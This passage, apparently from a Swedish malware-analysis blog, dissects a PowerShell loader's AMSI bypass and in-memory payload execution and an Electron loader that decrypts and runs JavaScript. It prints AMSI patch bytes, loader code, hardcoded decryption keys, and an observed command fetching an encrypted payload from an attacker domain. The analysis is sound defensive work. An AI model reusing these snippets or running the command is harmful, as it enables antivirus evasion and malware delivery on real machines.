patch:",[588,2166,2168],{"className":2051,"code":2167,"language":2053,"meta":594,"style":594},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[551,2169,2170],{"__ignoreMap":594},[1684,2171,2172],{"class":1686,"line":1687},[1684,2173,2167],{},[533,2175,2176],{},"Detta återspeglar samma mål, att framtvinga ett rent resultat, men anpassat till x86-anropskonventionen.",[533,2178,2179,2180,620,2183,558,2186,2189],{},"Att använda råa P/Invoke-anrop som ",[551,2181,2182],{},"LoadLibrary",[551,2184,2185],{},"GetProcAddress",[551,2187,2188],{},"VirtualProtect"," gör att denna patchning kan utföras dynamiskt och utan att anropa några API:er på hög nivå som kan övervakas av EDR-verktyg. Denna metod är kompakt, effektiv och lämnar minimala forensiska artefakter.",[533,2191,2192,2193,2196],{},"Sammanfattningsvis är denna AMSI-bypass-teknik en ",[540,2194,2195],{},"lågnivåattack riktad direkt mot antivirus-gränssnittet i minnet",", utförd på millisekunder under runtime. Det är ett kraftfullt exempel på varför beteendeövervakning och minnesinspektion är avgörande i moderna endpoint-försvarssystem.",[714,2198,2200],{"id":2199},"_43-hantering-av-stage-2-payload","4.3 Hantering av stage 2-payload",[533,2202,720],{},[533,2204,2205,2206,586],{},"Efter att AMSI-bypassen är klar går loadern vidare med att hämta och förbereda andra stegets payload. Denna payload är inte inbäddad i själva loadern utan hämtas antingen från en fjärrserver eller läses från disk, beroende på hur loadern anropas via parametern ",[551,2207,2208],{},"$location",[533,2210,2211,2212,2215,2216,2219,2220,2223,2224,2227,2228,586],{},"Om platsen börjar med ",[551,2213,2214],{},"http"," tolkas den som en URL och loadern använder ",[551,2217,2218],{},"Get_Stage2()"," för att ladda ner payloaden via ",[551,2221,2222],{},"HttpWebRequest",". Om det är en lokal sökväg läser ",[551,2225,2226],{},"Get_Stage2disk()"," innehållet direkt från filsystemet. I båda fallen är det förväntade filinnehållet en blob som är ",[540,2229,2230],{},"Base64-kodad, GZip-komprimerad och AES-krypterad",[533,2232,2233,2234,2237],{},"Loadern utför sedan en ",[540,2235,2236],{},"fyrstegs-pipeline för avkodning och dekryptering"," helt i minnet:",[2083,2239,2240,2246,2256,2266],{},[607,2241,2242,2245],{},[540,2243,2244],{},"Base64-avkodning",": Konverterar den kodade strängen till råa bytes. Detta steg är utformat för att dölja det faktiska binära innehållet från verktyg för statisk inspektion och förhindrar enkel mönstermatchning.",[607,2247,2248,2251,2252,2255],{},[540,2249,2250],{},"GZip-dekomprimering",": De avkodade byten skickas till en ",[551,2253,2254],{},"GZipStream",", som dekomprimerar payloaden. Komprimering minskar filstorleken och lägger till ytterligare ett lager av obfuskering.",[607,2257,2258,2261,2262,2265],{},[540,2259,2260],{},"AES-dekryptering",": De komprimerade byten dekrypteras med AES (Rijndael) i CBC-läge. Nyckeln härleds vid runtime från det användarangivna lösenordet via SHA-256-hashning kombinerat med PBKDF2 (",[551,2263,2264],{},"Rfc2898DeriveBytes",") och ett statiskt salt.",[607,2267,2268,2271],{},[540,2269,2270],{},"Salt-borttagning",": Det dekrypterade resultatet innehåller fortfarande ett salt-prefix med fast längd (4 bytes). Dessa bytes tas bort manuellt för att få den rena binära blobben som representerar en giltig .NET-assembly.",[533,2273,2274],{},"Dekrypteringspipelinen körs så här:",[588,2276,2278],{"className":2051,"code":2277,"language":2053,"meta":594,"style":594},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[551,2279,2280,2285],{"__ignoreMap":594},[1684,2281,2282],{"class":1686,"line":1687},[1684,2283,2284],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1684,2286,2287],{"class":1686,"line":2063},[1684,2288,2289],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[533,2291,2292,2293,2296],{},"Här är ",[551,2294,2295],{},"AES_Decrypt()"," en anpassad funktion som omsluter Rijndael-algoritmen, konfigurerad med en 256-bitars nyckel och en 128-bitars IV (initialiseringsvektor), båda härledda från lösenordet.",[533,2298,2299],{},[540,2300,2301],{},"Centrala designobservationer:",[604,2303,2304,2307,2310],{},[607,2305,2306],{},"Användningen av AES-CBC med PBKDF2 gör brute-forcing av lösenordet icke-trivialt.",[607,2308,2309],{},"Eftersom dekrypteringen sker i minnet skrivs inga mellanresultat någonsin till disk, vilket minskar forensiska artefakter.",[607,2311,2312],{},"Om fel lösenord anges misslyckas dekrypteringen tyst eller producerar ogiltig data, vilket kan leda till misslyckad exekvering eller svårspårade undantag.",[533,2314,2315],{},"Sammanfattningsvis höjer denna flerstegsansats för payload-hantering ribban avsevärt för både signatur- och heuristikbaserad statisk detektion. Utan antingen live-exekvering eller djupgående inspektion av loaderns beteende är det osannolikt att försvarare avslöjar den inbäddade payloaden utan att också känna till lösenordet och den exakta avkodningslogiken.",[714,2317,2319],{"id":2318},"_44-dynamisk-assembly-laddning","4.4 Dynamisk assembly-laddning",[533,2321,720],{},[533,2323,2324],{},"När andra stegets payload väl har dekrypterats framgångsrikt representerar den resulterande byte-arrayen en giltig .NET-assembly. I stället för att skriva denna assembly till disk, en vanlig indikator för antivirus- eller EDR-system, kör SharpLoader den direkt i minnet med reflection:",[588,2326,2328],{"className":2051,"code":2327,"language":2053,"meta":594,"style":594},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[551,2329,2330,2335],{"__ignoreMap":594},[1684,2331,2332],{"class":1686,"line":1687},[1684,2333,2334],{},"Assembly a = Assembly.Load(bin);\n",[1684,2336,2337],{"class":1686,"line":2063},[1684,2338,2339],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[533,2341,2342,2343,2346],{},"Denna teknik kallas ",[540,2344,2345],{},"fileless execution",". Den är mycket undvikande eftersom den:",[604,2348,2349,2352,2355],{},[607,2350,2351],{},"Undviker att röra disken och lämnar inga filbaserade IOC:er (indicators of compromise)",[607,2353,2354],{},"Gör traditionell forensisk insamling svårare, eftersom ingen binär sparas på disk",[607,2356,2357],{},"Undviker statisk signaturbaserad detektion, eftersom AV-motorer ofta förlitar sig på att skanna filer",[533,2359,2360,2361,2364,2365,2368],{},"Om ",[551,2362,2363],{},"EntryPoint"," inte är ",[551,2366,2367],{},"static"," inkluderar loadern en fallback-logik:",[588,2370,2372],{"className":2051,"code":2371,"language":2053,"meta":594,"style":594},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[551,2373,2374,2379,2384,2389,2394,2400],{"__ignoreMap":594},[1684,2375,2376],{"class":1686,"line":1687},[1684,2377,2378],{},"MethodInfo method = a.EntryPoint;\n",[1684,2380,2381],{"class":1686,"line":2063},[1684,2382,2383],{},"if (method != null)\n",[1684,2385,2386],{"class":1686,"line":2069},[1684,2387,2388],{},"{\n",[1684,2390,2391],{"class":1686,"line":2075},[1684,2392,2393],{},"    object o = a.CreateInstance(method.Name);\n",[1684,2395,2397],{"class":1686,"line":2396},5,[1684,2398,2399],{},"    method.Invoke(o, null);\n",[1684,2401,2403],{"class":1686,"line":2402},6,[1684,2404,2405],{},"}\n",[533,2407,2408,2409,2412],{},"Detta säkerställer kompatibilitet med assemblies som kräver ett instansierat objekt för exekvering (t.ex. ",[551,2410,2411],{},"public int Main()"," inuti en klassinstans). Koden skapar dynamiskt en instans av klassen och anropar sedan entry point-metoden.",[533,2414,2415],{},"I kombination med AMSI-bypassen och in-memory-dekrypteringen levererar denna mekanism den slutliga payloaden till exekvering på ett smygande, helt filelöst sätt, ett kännetecken för modern, undvikande malware.",[714,2417,2419],{"id":2418},"_45-kommandoradsparametrar-och-flexibilitet","4.5 Kommandoradsparametrar och flexibilitet",[533,2421,720],{},[533,2423,2424,2425,2427],{},"PowerShell-funktionen ",[551,2426,1892],{}," är utformad för att fungera som en flexibel wrapper för godtyckliga .NET-payloads. Den stöder dynamisk inmatning av både payload-plats och argument, vilket gör att en enda loader-instans kan återanvändas över flera operationer eller kampanjer.",[533,2429,2430],{},[540,2431,2432],{},"Stödda parametrar:",[604,2434,2435,2441,2447,2467],{},[607,2436,2437,2440],{},[551,2438,2439],{},"-location"," (obligatorisk): Anger antingen en URL eller en lokal filsökväg till den krypterade stage two-payloaden.",[607,2442,2443,2446],{},[551,2444,2445],{},"-password"," (obligatorisk): Används för att härleda AES-dekrypteringsnyckeln.",[607,2448,2449,620,2452,620,2455,2458,2459,2462,2463,2466],{},[551,2450,2451],{},"-argument",[551,2453,2454],{},"-argument2",[551,2456,2457],{},"-argument3"," (valfria): Dessa vidarebefordras direkt till ",[551,2460,2461],{},".NET","-assemblyns ",[551,2464,2465],{},"Main()","-metod via reflection.",[607,2468,2469,2472],{},[551,2470,2471],{},"-noArgs",": Utlöser exekvering utan att skicka några parametrar till andra stegets payload.",[533,2474,2475],{},"Internt samlas argumenten in och vidarebefordras så här:",[588,2477,2479],{"className":1678,"code":2478,"language":1680,"meta":594,"style":594},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[551,2480,2481,2486],{"__ignoreMap":594},[1684,2482,2483],{"class":1686,"line":1687},[1684,2484,2485],{},"object[] cmd = args.Skip(2).ToArray();\n",[1684,2487,2488],{"class":1686,"line":2063},[1684,2489,2490],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[533,2492,2493],{},"Detta innebär att .NET-payloaden förväntas ha en signatur som:",[588,2495,2497],{"className":2051,"code":2496,"language":2053,"meta":594,"style":594},"static void Main(string[] args)\n",[551,2498,2499],{"__ignoreMap":594},[1684,2500,2501],{"class":1686,"line":1687},[1684,2502,2496],{},[533,2504,2505,2506,2508],{},"eller så faller den elegant tillbaka till den parameterlösa ",[551,2507,2465],{},"-varianten via fallback-logik. Detta beteende låter red teams eller malwareutvecklare skapa mångsidiga andra steg som kan utföra olika operationer beroende på indata, till exempel att starta en implant, samla in systeminformation eller initiera C2-kommunikation.",[533,2510,2511],{},"Sådan modularitet och konfigurerbarhet är centrala egenskaper hos avancerade malware-ramverk, och de illustrerar hur skriptbaserade loaders kan bete sig som mycket anpassningsbara exekveringsmiljöer för efterföljande payloads.",[714,2513,2515],{"id":2514},"_46-exempel-på-användning-i-verkligheten","4.6 Exempel på användning i verkligheten",[533,2517,720],{},[533,2519,2520],{},"För att illustrera SharpLoaders exekvering i en verklig kampanj, betrakta följande anrop som observerats i det vilda:",[588,2522,2524],{"className":1678,"code":2523,"language":1680,"meta":594,"style":594},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[551,2525,2526],{"__ignoreMap":594},[1684,2527,2528],{"class":1686,"line":1687},[1684,2529,2523],{},[533,2531,2532],{},"Detta exempel belyser det typiska användningsfallet för SharpLoader:",[604,2534,2535,2549,2561,2571],{},[607,2536,2537,2540,2541,2544,2545,2548],{},[540,2538,2539],{},"Location-argument",": URL:en pekar på en fjärrserver som hostar ",[551,2542,2543],{},"calc.enc",", en dold andra stegets payload. Endpointen ligger under en legitimt utseende ",[551,2546,2547],{},".well-known","-katalog, som ofta används för HTTPS-certifikatvalidering, vilket hjälper URL:en att smälta in i legitim webbtrafik.",[607,2550,2551,973,2554,2556,2557,2560],{},[540,2552,2553],{},"Payload-egenskaper",[551,2555,2543],{}," är en ",[540,2558,2559],{},"trippelobfuskerad fil",", Base64-kodad, GZip-komprimerad och AES-krypterad. Denna obfuskeringspipeline säkerställer att payloaden är ogenomskinlig för de flesta detektionsmekanismer om den inte fullständigt körs och dekrypteras i minnet.",[607,2562,2563,2566,2567,2570],{},[540,2564,2565],{},"Password-argument",": Strängen ",[551,2568,2569],{},"UwUFufu1"," används vid runtime för att härleda AES-nyckeln via SHA-256 och PBKDF2. Utan detta lösenord kan payloaden inte dekrypteras, vilket gör offline-analys utan kontext nästan omöjlig.",[607,2572,2573,2576,2577,2579],{},[540,2574,2575],{},"Inga ytterligare argument",": Flaggan ",[551,2578,2471],{}," anger att inga kommandoradsparametrar skickas till den dekrypterade .NET-assemblyn, vilket utlöser dess standardexekveringsväg.",[533,2581,2582,2583,2586],{},"Denna smygande anropskedja fångar SharpLoaders kärnsyfte: ",[540,2584,2585],{},"filelös, anpassningsbar och säker payload-leverans"," genom enkel PowerShell-syntax med maximal obfuskering och undvikande.",[714,2588,2590],{"id":2589},"_47-sammanfattning","4.7 Sammanfattning",[533,2592,720],{},[533,2594,2595,2596,2598],{},"Konstruktionen ",[551,2597,1892],{}," exemplifierar en mycket förfinad och undvikande teknik för malware-staging som utnyttjar inbyggda systemkomponenter, reflection och kryptografi för att operera nästan helt i minnet.",[533,2600,2601],{},[540,2602,2603],{},"Centrala höjdpunkter:",[604,2605,2606,2615,2621,2627],{},[607,2607,2608,2611,2612,2614],{},[540,2609,2610],{},"Kringgår AMSI",": Direkt in-memory-patchning av ",[551,2613,2032],{}," inaktiverar antivirus-inspektion utan att anropa detekterbara API:er.",[607,2616,2617,2620],{},[540,2618,2619],{},"Säker payload-hantering",": Hämtning av krypterade och komprimerade stage-two-payloads säkerställer konfidentialitet och lägger till flera lager av undvikande.",[607,2622,2623,2626],{},[540,2624,2625],{},"Exekvering enbart i minnet",": Dekrypterade payloads skrivs aldrig till disk, vilket gör detektion med traditionella filbaserade skannrar nästan omöjlig.",[607,2628,2629,2632],{},[540,2630,2631],{},"Modulär och återanvändbar arkitektur",": Genom PowerShell-parametrar kan SharpLoader flexibelt återanvändas över kampanjer med varierande payloads och runtime-beteenden.",[528,2634,2636,2637,2639],{"id":2635},"_5-deep-dive-mainexe-electron-baserad-malware-loader","5. Deep Dive: ",[551,2638,578],{}," – Electron-baserad malware loader",[533,2641,535],{},[533,2643,2644,2645,2647,2648,2651,2652,2654,2655,2657],{},"Under reverse engineering blev det tydligt att ",[551,2646,578],{},", som flaggats av Microsoft Defender for Endpoint, inte var en konventionell binär utan en ",[540,2649,2650],{},"Electron-baserad malware loader",". Den levererades inuti ett arkiv vid namn ",[551,2653,1826],{},", som ",[551,2656,574],{}," laddade ner och extraherade vid runtime. När den väl packats upp liknade strukturen och innehållet starkt en typisk Electron-applikation.",[714,2659,2661],{"id":2660},"_51-att-känna-igen-electron-strukturen","5.1 Att känna igen Electron-strukturen",[533,2663,720],{},[533,2665,2666],{},"Den extraherade mappen inkluderade filer som:",[604,2668,2669,2680,2688,2694],{},[607,2670,2671,620,2674,620,2677],{},[551,2672,2673],{},"chrome_100_percent.pak",[551,2675,2676],{},"v8_context_snapshot.bin",[551,2678,2679],{},"d3dcompiler_47.dll",[607,2681,2682,558,2685],{},[551,2683,2684],{},"LICENSES.chromium",[551,2686,2687],{},"LICENSES.electron",[607,2689,2690,2691,2693],{},"En stor ",[551,2692,578],{},"-binär (~150 MB)",[607,2695,2696,2697,2699,2700,2702,2703],{},"En ",[551,2698,1836],{},"-mapp med ",[551,2701,1047],{}," och en sekundär binär ",[551,2704,2705],{},"elevate.exe",[533,2707,2708],{},[748,2709],{"alt":2710,"src":2711},"Packaged Windows 64-bit version of the desktop app","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[533,2713,2714,2715,2717],{},"Detta är alla starka indikatorer på en Electron-app, som använder Chromium och Node.js för att paketera JavaScript-baserade skrivbordsapplikationer. Närvaron av ",[551,2716,2705],{},", en signerad Microsoft-binär som ofta används för att eskalera privilegier, väckte ytterligare misstankar: den kan missbrukas för att starta barnprocesser med förhöjda rättigheter.",[714,2719,2721],{"id":2720},"_52-uppackning-och-statisk-analys-deep-dive","5.2 Uppackning och statisk analys (Deep Dive)",[533,2723,720],{},[533,2725,2726,2727,2729,2730,2732,2733,2735,2736,2738,2739,2742],{},"I stället för att köra ",[551,2728,578],{}," valde jag en statisk analysansats för att undvika att utlösa något live-beteende. Min inledande misstanke om att ",[551,2731,578],{}," var byggd med Electron bekräftades genom att jag lokaliserade ",[551,2734,1047],{},"-filen inuti ",[551,2737,1836],{},"-katalogen. I Electron-appar innehåller detta arkiv all central applikationslogik, som JavaScript-filer, konfiguration (",[551,2740,2741],{},"package.json",") och tillgångar, packat i ett anpassat format för prestanda- och obfuskeringssyften.",[533,2744,2745,2748,2749,2752],{},[551,2746,2747],{},".asar","-arkivet är i grunden en skrivskyddad, högpresterande container som liknar ",[551,2750,2751],{},".zip",", men optimerad för Electrons runtime. Även om det inte är krypterat obfuskerar det kodåtkomsten, vilket gör statisk analys svårare om det inte packas upp.",[533,2754,2755,2756,2759],{},"För att packa upp det använde jag det officiella ",[551,2757,2758],{},"asar","-verktyget som tillhandahålls via npm. Stegen var:",[588,2761,2765],{"className":2762,"code":2763,"language":2764,"meta":594,"style":594},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[551,2766,2767,2784],{"__ignoreMap":594},[1684,2768,2769,2773,2777,2781],{"class":1686,"line":1687},[1684,2770,2772],{"class":2771},"sScJk","npm",[1684,2774,2776],{"class":2775},"sZZnC"," install",[1684,2778,2780],{"class":2779},"sj4cs"," -g",[1684,2782,2783],{"class":2775}," asar\n",[1684,2785,2786,2788,2791,2794],{"class":1686,"line":2063},[1684,2787,2758],{"class":2771},[1684,2789,2790],{"class":2775}," extract",[1684,2792,2793],{"class":2775}," app.asar",[1684,2795,2796],{"class":2775}," extracted_app\n",[533,2798,2799,2800,2803],{},"Att köra ovanstående kommandon extraherade innehållet till en arbetsmapp (",[551,2801,2802],{},"extracted_app/","), vilket avslöjade den faktiska JavaScript-applikationskoden. Detta inkluderade:",[604,2805,2806,2827,2835],{},[607,2807,2808,620,2811,620,2814,2817,2818,2820,2821,2823,2824,2826],{},[551,2809,2810],{},"jscryter.js",[551,2812,2813],{},"input.js",[551,2815,2816],{},"obf.js",": Dessa skript utgör malware-logiken. ",[551,2819,2810],{}," verkar orkestrera payload-leveransen, ",[551,2822,2813],{}," definierar konfigurationskonstanter eller kommandologik, och ",[551,2825,2816],{}," är ett kraftigt obfuskerat skript som troligen innehåller kärn-payloadens logik.",[607,2828,2829,620,2831,2834],{},[551,2830,2741],{},[551,2832,2833],{},"package-lock.json",": Definierar runtime-miljön",[607,2836,2837,2840,2841,620,2844,620,2847],{},[551,2838,2839],{},"node_modules/",": Innehåller alla beroenden som ",[551,2842,2843],{},"axios",[551,2845,2846],{},"adm-zip",[551,2848,2849],{},"child_process",[533,2851,2852,2853,2855,2856,586],{},"Det uppackade innehållet gav fullständig insyn i malwarens logik utan att kräva exekvering, vilket var väsentligt för säker reverse engineering. Detta steg bekräftade att ",[551,2854,578],{}," enbart fungerade som en runtime-wrapper för de skadliga skripten som gömdes inuti ",[551,2857,1047],{},[714,2859,2861],{"id":2860},"_53-vad-den-statiska-analysen-avslöjade","5.3. Vad den statiska analysen avslöjade",[533,2863,720],{},[533,2865,2866],{},"Genom att manuellt inspektera koden bekräftade jag att malware-logiken var helt JavaScript-baserad och kördes inom Electron-runtimen. Skripten var utformade för att:",[604,2868,2869,2876,2881,2884],{},[607,2870,2871,2872,2875],{},"Ladda ner en krypterad payload (",[551,2873,2874],{},"pyth.zip",") från fallback-URL:er",[607,2877,2878,2879],{},"Extrahera arkivet med ",[551,2880,2846],{},[607,2882,2883],{},"Utföra strängersättning för att injicera specifika credentials eller plånboksadresser",[607,2885,2886,2887,2889,2890,558,2893],{},"Starta den resulterande Python-filen (",[551,2888,582],{},") via ",[551,2891,2892],{},"child_process.exec()",[551,2894,553],{},[533,2896,2897,2898,2904],{},"Avgörande nog inkluderade loadern också logik för att ",[540,2899,2900,2901,2903],{},"kopiera ",[551,2902,574],{}," till användarens AppData-katalog"," om den inte redan fanns, vilket förstärkte persistensen och upprätthöll infektionsloopen.",[528,2906,2908,2909,2911],{"id":2907},"_6-deep-dive-inputjs-den-krypterade-javascript-payload-loadern","6. Deep Dive: ",[551,2910,2813],{}," – den krypterade JavaScript-payload-loadern",[533,2913,535],{},[533,2915,2916,2918],{},[551,2917,2813],{}," är en central komponent i den analyserade skadekedjan och fungerar som nav för dekryptering och exekvering av en krypterad JavaScript-payload. Skriptet gömmer sin kärnfunktionalitet bakom ett starkt krypteringslager och avslöjar sitt beteende först under körning.",[714,2920,2922],{"id":2921},"_61-krypterings-och-dekrypteringsmekanik","6.1 Krypterings- och dekrypteringsmekanik",[533,2924,720],{},[533,2926,2927,2928,2930],{},"Vid första anblicken innehåller ",[551,2929,2813],{}," väldigt lite läsbar kod. Dess primära syfte är dock att dekryptera och exekvera en stor obfuskerad JavaScript-blob som ligger lagrad inuti själva skriptet.",[862,2932,2934],{"id":2933},"_611-dekrypteringslogik","6.1.1 Dekrypteringslogik",[533,2936,868],{},[533,2938,2939,2940,2943],{},"Skriptet definierar en ",[551,2941,2942],{},"decrypt()","-funktion som tar fyra parametrar:",[604,2945,2946,2952,2958,2964],{},[607,2947,2948,2951],{},[551,2949,2950],{},"encdata",": Den krypterade Base64-kodade datan",[607,2953,2954,2957],{},[551,2955,2956],{},"masterkey",": En passphrase i klartext",[607,2959,2960,2963],{},[551,2961,2962],{},"salt",": Ett kryptografiskt salt (Base64)",[607,2965,2966,2969],{},[551,2967,2968],{},"iv",": Initieringsvektorn för AES-dekryptering (Base64)",[533,2971,2972,2973,2976],{},"Dekrypteringsprocessen är implementerad med Node.js inbyggda ",[551,2974,2975],{},"crypto","-modul. Den går till på följande sätt:",[2083,2978,2979,3090,3203],{},[607,2980,2981,2984,2985,3064],{},[540,2982,2983],{},"Key Derivation:","\nSkriptet härleder en 256-bitars symmetrisk nyckel med PBKDF2 (Password-Based Key Derivation Function 2):",[588,2986,2990],{"className":2987,"code":2988,"language":2989,"meta":594,"style":594},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[551,2991,2992,3014,3019,3036,3044,3051,3058],{"__ignoreMap":594},[1684,2993,2994,2998,3001,3004,3008,3011],{"class":1686,"line":1687},[1684,2995,2997],{"class":2996},"szBVR","const",[1684,2999,3000],{"class":2779}," key",[1684,3002,3003],{"class":2996}," =",[1684,3005,3007],{"class":3006},"sVt8B"," crypto.",[1684,3009,3010],{"class":2771},"pbkdf2Sync",[1684,3012,3013],{"class":3006},"(\n",[1684,3015,3016],{"class":1686,"line":2063},[1684,3017,3018],{"class":3006},"  masterkey,\n",[1684,3020,3021,3024,3027,3030,3033],{"class":1686,"line":2069},[1684,3022,3023],{"class":3006},"  Buffer.",[1684,3025,3026],{"class":2771},"from",[1684,3028,3029],{"class":3006},"(salt, ",[1684,3031,3032],{"class":2775},"\"base64\"",[1684,3034,3035],{"class":3006},"),\n",[1684,3037,3038,3041],{"class":1686,"line":2075},[1684,3039,3040],{"class":2779},"  100000",[1684,3042,3043],{"class":3006},",\n",[1684,3045,3046,3049],{"class":1686,"line":2396},[1684,3047,3048],{"class":2779},"  32",[1684,3050,3043],{"class":3006},[1684,3052,3053,3056],{"class":1686,"line":2402},[1684,3054,3055],{"class":2775},"  \"sha512\"",[1684,3057,3043],{"class":3006},[1684,3059,3061],{"class":1686,"line":3060},7,[1684,3062,3063],{"class":3006},");\n",[604,3065,3066,3072,3078,3084],{},[607,3067,3068,3071],{},[540,3069,3070],{},"Hash function:"," SHA-512",[607,3073,3074,3077],{},[540,3075,3076],{},"Iterations:"," 100,000",[607,3079,3080,3083],{},[540,3081,3082],{},"Key length:"," 32 bytes (256 bits)",[607,3085,3086,3089],{},[540,3087,3088],{},"Salt:"," Levereras som en Base64-avkodad indata",[607,3091,3092,3095,3096,3146,3148,3149],{},[540,3093,3094],{},"AES-256-CBC Decryption:","\nDen härledda nyckeln används sedan för att skapa ett AES-decipher-objekt:",[588,3097,3099],{"className":2987,"code":3098,"language":2989,"meta":594,"style":594},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[551,3100,3101,3117,3124,3129,3142],{"__ignoreMap":594},[1684,3102,3103,3105,3108,3110,3112,3115],{"class":1686,"line":1687},[1684,3104,2997],{"class":2996},[1684,3106,3107],{"class":2779}," decipher",[1684,3109,3003],{"class":2996},[1684,3111,3007],{"class":3006},[1684,3113,3114],{"class":2771},"createDecipheriv",[1684,3116,3013],{"class":3006},[1684,3118,3119,3122],{"class":1686,"line":2063},[1684,3120,3121],{"class":2775},"  \"aes-256-cbc\"",[1684,3123,3043],{"class":3006},[1684,3125,3126],{"class":1686,"line":2069},[1684,3127,3128],{"class":3006},"  key,\n",[1684,3130,3131,3133,3135,3138,3140],{"class":1686,"line":2075},[1684,3132,3023],{"class":3006},[1684,3134,3026],{"class":2771},[1684,3136,3137],{"class":3006},"(iv, ",[1684,3139,3032],{"class":2775},[1684,3141,3035],{"class":3006},[1684,3143,3144],{"class":1686,"line":2396},[1684,3145,3063],{"class":3006},[698,3147],{},"Den krypterade payloaden dekrypteras med standardläget CBC (Cipher Block Chaining):",[588,3150,3152],{"className":2987,"code":3151,"language":2989,"meta":594,"style":594},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[551,3153,3154,3183],{"__ignoreMap":594},[1684,3155,3156,3159,3162,3165,3168,3171,3174,3176,3178,3181],{"class":1686,"line":1687},[1684,3157,3158],{"class":2996},"let",[1684,3160,3161],{"class":3006}," decrypted ",[1684,3163,3164],{"class":2996},"=",[1684,3166,3167],{"class":3006}," decipher.",[1684,3169,3170],{"class":2771},"update",[1684,3172,3173],{"class":3006},"(encdata, ",[1684,3175,3032],{"class":2775},[1684,3177,620],{"class":3006},[1684,3179,3180],{"class":2775},"\"utf8\"",[1684,3182,3063],{"class":3006},[1684,3184,3185,3188,3191,3193,3196,3199,3201],{"class":1686,"line":2063},[1684,3186,3187],{"class":3006},"decrypted ",[1684,3189,3190],{"class":2996},"+=",[1684,3192,3167],{"class":3006},[1684,3194,3195],{"class":2771},"final",[1684,3197,3198],{"class":3006},"(",[1684,3200,3180],{"class":2775},[1684,3202,3063],{"class":3006},[607,3204,3205,3208,3209,3212,3213,3234,3236],{},[540,3206,3207],{},"Dynamic Execution:","\nDen dekrypterade JavaScript-koden skrivs aldrig till disk. Istället exekveras den dynamiskt i minnet via ",[551,3210,3211],{},"Function","-konstruktorn:",[588,3214,3216],{"className":2987,"code":3215,"language":2989,"meta":594,"style":594},"new Function(\"require\", decrypted)(require);\n",[551,3217,3218],{"__ignoreMap":594},[1684,3219,3220,3223,3226,3228,3231],{"class":1686,"line":1687},[1684,3221,3222],{"class":2996},"new",[1684,3224,3225],{"class":2771}," Function",[1684,3227,3198],{"class":3006},[1684,3229,3230],{"class":2775},"\"require\"",[1684,3232,3233],{"class":3006},", decrypted)(require);\n",[698,3235],{},"Den här tekniken möjliggör fillös exekvering och minskar risken för upptäckt av traditionella antivirusmotorer som förlitar sig på diskbaserad skanning.",[533,3238,3239],{},"Detta tillvägagångssätt visar ett lager-för-lager-försvar mot reverse engineering genom att kombinera key derivation, stark kryptering och dynamisk exekvering i minnet.",[533,3241,3242],{},[540,3243,3244],{},"Key Material and Encrypted Data",[533,3246,3247],{},"Skriptet innehåller följande hårdkodade indata:",[604,3249,3250,3256,3265,3273],{},[607,3251,3252,3255],{},[540,3253,3254],{},"Encrypted Data:"," En massiv Base64-kodad blob",[607,3257,3258,3261,3262],{},[540,3259,3260],{},"Master Key:"," ",[551,3263,3264],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[607,3266,3267,3261,3269,3272],{},[540,3268,3088],{},[551,3270,3271],{},"maXtklzMEZRY9dbul/XPSw=="," (Base64-kodad)",[607,3274,3275,3261,3278,3272],{},[540,3276,3277],{},"IV:",[551,3279,3280],{},"HwK6sOz7FBbL+YsrOxtYUg==",[533,3282,3283,3284,586],{},"Alla dessa är inbäddade direkt i källkoden till ",[551,3285,2813],{},[714,3287,3289],{"id":3288},"_62-payload-beteende-efter-dekryptering","6.2 Payload-beteende efter dekryptering",[533,3291,720],{},[533,3293,3294],{},"När den väl har dekrypterats blir den inbäddade payloaden ett fullständigt JavaScript-program som utför följande skadliga handlingar:",[862,3296,3298],{"id":3297},"_621-förberedelse-av-miljön","6.2.1 Förberedelse av miljön",[533,3300,868],{},[533,3302,3303],{},"Den dekrypterade payloaden börjar med att sätta upp sin exekveringsmiljö med hjälp av inbyggda Node.js-moduler. Denna uppsättningsfas säkerställer att alla nödvändiga sökvägar och arbetskataloger är tydligt definierade innan något skadligt beteende inträffar.",[604,3305,3306,3339],{},[607,3307,3308,3311,3312,3315,3316],{},[540,3309,3310],{},"Temporary Directory Resolution:","\nSkadeprogrammet anropar ",[551,3313,3314],{},"os.tmpdir()"," för att bestämma sökvägen till systemets aktuella temporära katalog. Detta är en vanlig taktik för skadeprogram eftersom temporära mappar oftast är skrivbara och granskas mindre noga av endpoint protection-system.",[588,3317,3319],{"className":2987,"code":3318,"language":2989,"meta":594,"style":594},"const tempDir = os.tmpdir();\n",[551,3320,3321],{"__ignoreMap":594},[1684,3322,3323,3325,3328,3330,3333,3336],{"class":1686,"line":1687},[1684,3324,2997],{"class":2996},[1684,3326,3327],{"class":2779}," tempDir",[1684,3329,3003],{"class":2996},[1684,3331,3332],{"class":3006}," os.",[1684,3334,3335],{"class":2771},"tmpdir",[1684,3337,3338],{"class":3006},"();\n",[607,3340,3341,3344,3345,3358],{},[540,3342,3343],{},"Path Construction:","\nSkriptet konstruerar sedan absoluta sökvägar för två viktiga 